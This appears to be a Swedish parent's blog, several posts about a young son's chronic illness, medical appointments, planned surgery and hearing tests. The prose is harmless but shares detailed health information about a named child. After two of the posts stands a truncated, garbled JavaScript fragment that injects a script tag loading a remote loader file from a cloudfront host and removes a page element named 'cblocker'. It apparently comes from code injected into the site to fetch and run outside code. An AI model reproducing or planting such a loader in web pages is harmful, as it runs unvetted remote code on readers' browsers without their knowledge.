Möte, remisser och assistans!

Haft läkarmöte idag. Ett viktigt planeringsmöte och en sedvanlig läkarkontroll på Noel plus ett HB. Vi överlevde ju magsjukan för ett par veckor sedan. Några dygn på sjukhuset och några dygn hemma med endast vätskeersättning men sedan släppte det. Förmodligen åkte Noel på ett rota-virus för magsjukan denna gång var verkligen extremt intensiv och ettrig. Mitt i magsjukan blev barnen även förkylda och har så varit i två veckor nu. Noel fick hosta igår natt och har haft syrgasen till och från nu. Men tror det är på väg att vända nu, hade han blivit sämre hade det nog skett igår, han är fortfarande pigg och glad trots hosta och täppt näsa.

Men så till mötet. Planering av undersökningar i vår. Hörsel och syn samt att tandläkaren vill, vid eventuell sövning,  lägga i någon typ av plast i Noels bakre tänder som tagit skada av alla år med reflux. Vi har fått en remiss till ögon på Vrinnevi och kommer börja där. Men är övertygad om att den undersökningen inte kommer gå så bra utan jag ställer in mig på sövning under våren, antingen i Linköping eller Stockholm. Vi har även efterfrågat en fortsatt utredning på lungorna då det var 2 år sedan sist, detta sker ju i Stockholm så mycket möjligt att man kan samordna allt.

Vi diskuterade även kring Noels blodsjukdom och alternativen av behandling. Nytagna prover visar att än så länge är Noels järnvärden under gränsen så det är ingen ”panik” med behandling. Vi är dock mer inställda på att operera bort mjälten i framtiden (vid 5-6 års ålder) då det är det som känns mer humant. Fram tills dess så kommer vi att ge desferal behandlingen vid varje blodtransfusion, dock så gick det bra att ge den via porten vid dessa tillfällen och i så fall undvika stick i benet etc. Enda skillnaden blir några timmar extra på sjukhuset vid varje transfusionstillfälle, men om det kan göra att vi kan skjuta lite på behandlingar så är det verkligen värt det. Min ångest lättade lite, men det krävs fortfarande många fler diskussioner och mycket mer information kring alternativen innan vi kan ta ett slutgiltigt beslut. Det som väger in mest är ju givetvis Noels livskvalitet och vad han hittills fått erfara. Vi vill ju att han ska må så bra som möjligt, och ibland kanske det krävs en risk för att undvika ett sämre liv.

Nu tar vi en sak i taget och jag längtar tills vi fått mer klarhet över synen och hörseln så vi vet vilken hjälp Noel behöver. Det känns jobbigt och tragiskt att det tagit så lång tid för att detta ska bli av och att det blivit mitt och Teds ansvar att ha översikt och koll på allt som ska göras kring Noels vårdplan. Något som diskuterade med Noels läkare idag, hon bör vara den som har koll på sådant här så att vi får möjlighet att vara bara föräldrar och inte agera samordnare och läkare. Jag hoppas att dagens möte leder till en förbättring och att vi kan följa nya vårdplanen som skall följas upp varannan månad nu. Struktur gör mig gott, jag vill ha ordning och reda och rutiner!

Något väldigt roligt är i alla fall att allt redan är klart med assistansen kring Noel. Det gick väldigt fort, bara någon månad från att ansökan kom in till att beslut togs. Vi fick alla timmar godkända som vi ansökt om, vilket gör det möjligt för mig att arbeta heltid med Noel, Ted kan ta några timmar och vi kommer kunna anställa en assistent på antingen halvtid eller heltid mån-fre. Vi börjar intervjua på måndag, och trots delade känslor kring det hela så känns det så oerhört skönt att allt nu är klart. En del administrativt kvar bara men nu är vi i alla fall igång. Och det är verkligen en ynnest att få kunna arbeta på heltid med sitt eget barn, få den kvalitetstiden med honom och samtidigt trygga sin inkomst. Jag känner mig verkligen privilegierad att få den möjligheten, kanske aningen bitter bara att vi inte ansökt tidigare, men med bristande information kring allt så blev det inte så. Men det känns skönt att det är på gång, och att Leon nu får gå lite längre dagar på förskolan än dom 15 timmar i veckan när jag varit föräldraledig med Noel. Han trivs så otroligt bra där och jag märker stor skillnad på honom, att han lär sig nya saker och att han stimuleras på ett helt annat sätt än här hemma!

För en tankspridd person som jag själv så hjälper det så otroligt mycket när praktiska bitar faller på plats och det löser sig på bästa sätt. Det är jag verkligen tacksam över. För det innebär att det finns mer tid över till att ta itu med alla känslomässiga bitar, det ger utrymme till tankar och reflektion över sådant man måste ta sig igenom för att kunna leva vidare och må bra!

IMG_8742

 

Sol, värme och ögoninflammation

Så otroligt underbart att sommaren är på väg, hejdå snö och slask, välkommen värme och sol! Jag tror dom flesta fungerar som jag gör, att man blir lite extra glad, får lite extra energi så här när solen och värmen kommer. Det är nu man ser mer och mer människor utomhus, folk verkar gladare, är mer aktiva och sociala! Det märks att värmen påverkar oss människor på ett positivt sätt!

Jag har accepterat sedan länge att vi inte alltid kan göra allt med Noel som vi skulle vilja göra, och jag har accepterat att vi nog kommer få dela på pojkarna en del därför att Leon vill bada på badhuset och springa i lekparken, men Noel kan inte göra detta. Däremot så blir jag lite ledsen när det tillkommer annat som ställer till det för Noel. Förra helgen åkte han på ögoninflammation, det har varat och runnit, är rött och kliar. Nu idag ser det bättre ut och var inte lika igenklistrat när han vaknade. Men, ögoninflammationen gör ju honom ännu mer ljuskänslig och i veckan har våra försök att sitta ute i skuggan varit helt förgäves. Kan iof också bero på att han är allergisk, jag misstänkte det redan förra året då vi var på landet en del, han fick alltid hosta och blev hängig efter vi varit där (utomhus). Och av egen erfarenhet så vet jag ju att astma och allergi ofta går hand i hand! Det är nog jobbigt för honom att vara utomhus över huvud taget just nu pga pollen! Men visst är det tråkigt att vi inte kan sitta i solen med honom eller vara ute längre stunder…men det ger sig nog..förra sommaren var vi utomhus väldigt mycket och satt i gräset och lekte, så det släpper nog så småningom….

Vi tar däremot många promenader, långa som korta, i torsdags gick vi runt strömmen alla fyra tillsammans med barnens farfar. Det är så otroligt vackert runt strömmen, och går man i ”rätt” riktning så får man dessutom några jobbiga uppförsbackar på köpet :) Igår gick jag en sväng med barnen på em, när den starkaste solen lagt sig. Noel har alltid nästan hela suffletten nere och dessutom ett extra skynke att dra för, men han tycker det är spännande med ljuset, på håll, så länge han slipper sitta mitt i solen!

Det ger sig nog när ögoninflammationen lagt sig och all pollen flugit bort! Då kan vi nog dra fram filtarna och lägga oss på gräset, alla fyra!

IMG_4466

Operationstid

Jag tog tag i saken i tisdags och ringde Stockholm för att reda ut remisser som försvunnit och varför vi aldrig får någon operationstid. Jag fick till slut tag i samordningssköterskan på barnkirurgen och vi tillsammans kom fram till ett datum och en planering inför operationen. Noel kommer att opereras 7 maj om inget förhinder uppstår. Vi kommer att åka redan den 5 maj eftersom måndagen 6 maj kommer bestå av en hel del undersökningar inför operation.

Vi har även tid till Stockholm 2 April för bland annat återbesök för Noels analatresi. Vi kommer även passa på då att träffa läkare på lungmottagningen och en narkosläkare som ingår i anestesiteamet som kommer söva Noel i maj. Vi kommer också träffa kirurgen som kommer operera i Maj, det känns väldigt skönt att kunna göra det en månad innan själva operationen för att kunna vara så insatta och förberedda som möjligt!

Det man kommer göra under narkosen 7 Maj är följande;

– Operera ned testiklarna

– Laga ett ljumskbråck

– Hörsel/synkontroll

– Röntgen av tänder/käken

Förhoppningsvis kommer vi kunna samordna allt detta under samma narkos. Det vore extremt skönt att få allt detta gjort samtidigt, och förhoppningsvis går operationen bra och vi slipper BIVA. Går det bra att samköra alla undersökningar så har vi nog en ganska lugn sommar att se fram emot. Givetvis känns allt ovanstående jobbigt men i nuläget är det jobbigare att gå och vänta på att operationen ska bli av än att vara där och det är gjort. Är även nervös inför att se vad syn och hörselundersökningarna kommer visa, men i värsta fall så innebär resultaten bara att Noel kommer behöva mer hjälp, och egentligen är det ju positivt att få reda på så man kan optimera hans utvecklingsförmåga, om man inte ser och hör ordentligt är det klart att utvecklingen kan bli hämmad, och ett barn som Noel behöver all hjälp han kan få.

Vi får helt enkelt nu hålla tummarna för att alla sjukdomar och infektioner håller sig långt borta och att allt kommer flyta på bra när vi är i Stockholm, både i April och i Maj.

Besök på US – öronmottagningen

Vi hade tid idag till hörcentralen på US med Noel, tyvärr hade audionomen som skulle göra hörseltest på Noel blivit sjuk, men vi fick ändå träffa en utav överläkarna på avdelningen. Han var en väldigt lyhörd och empatisk man, vilket jag verkligen uppskattar. Jag uppskattar verkligen när en läkare har läst på i journalen innan och att dem tagit reda på fakta innan dem träffar en patient. Han hade till och med försökt leta på fakta kring Noels kromosomavvikelse om det eventuellt kunde stå något där kring hörselproblem, fast det gör det inget, fakta är att det knappt finns någon information kring Noels avvikelse alls. Utan att göra något hörseltest så var vi ändå överens om att Noel verkar höra helt okej men att vi ska försöka göra ett slags test i höst i vilket fall och att vi ska passa på att kolla hörseln under narkos när han ändå ska sövas i Stockholm i början på nästa år. Jag tyckte om att han lyssnade på mig som förälder och på vad jag hade att säga, det är ju ändå vi som sitter inne på den mesta samlade kunskapen kring Noel, speciellt om sådant som inte står i någon journal.

Vi ska helt enkelt försöka få till att samordna hörsel och synundersökning i samband med narkosen efter nyår. Det känns helt okej för oss. Vi märker ju att Noel hör, sedan kan han ju ha någon form av nedsättning, och det är det vi vill ta reda på, så att han kan få bästa möjliga hjälp om han nu behöver det, han har ju rätt till de bästa förutsättningarna i livet, och då måste vi se till att han får det också!

 

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Hörselundersökningen

I fredags var det således dags för ett nytt försök att göra hörselundersökning, ni vet det där som man i regel gör på sina barn när de är nyfödda. Sist var Noel kanske 3-4 månader gammal och hade både hjärtsvikt och var rejält förkyld, det gick med andra ord inget vidare. Mitt hoppas tändes dock i fredags när han somnade inne i undersökningsrummet, då tänkte jag att det här det kommer gå kanon, som en dans. Men så fel jag hade. Undersökningen gav inga utslag alls och blev alltså underkänd. Det är nog inte det att Noel inte hör, för det gör han verkligen, utan det berodde säkert på den mängd vax som han har i sina öron, han kliar ofta i öronen och läkarna säger ofta att det är för mycket vax för att kunna se bra in i öronen. Det räcker alltså med lite, lite vax, en liten förkylning eller joller för att undersökningen inte ska lyckas.

Vi blev remitterade till Linköping för att göra ett annat slags test med elektroner istället. Hörseln känns på något sätt viktigare än synen med tanke på språkutveckling och kommunikation, så har Noel en hörselnedsättning så känns det extremt viktigt att få reda på det och ge honom hjälp med en gång. Anledningen till att vi är så ”noga” med att undersöka ögon och öron ordentligt är så enkel som att de flesta barn med kromosomavvikelser oftast har något problem med syn och hörsel, det behöver dock inte vara något stort och omfattande, något brytningsfel och kanske lite nedsatt hörsel på något öra, eller trånga hörselgångar som ofta blir vätskefyllda och på så vis påverka hörseln.

Får se när vi får en ny tid till Linköping, förhoppningsvis blir det innan sommaren, annars lär det inte bli av fören till hösten.

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>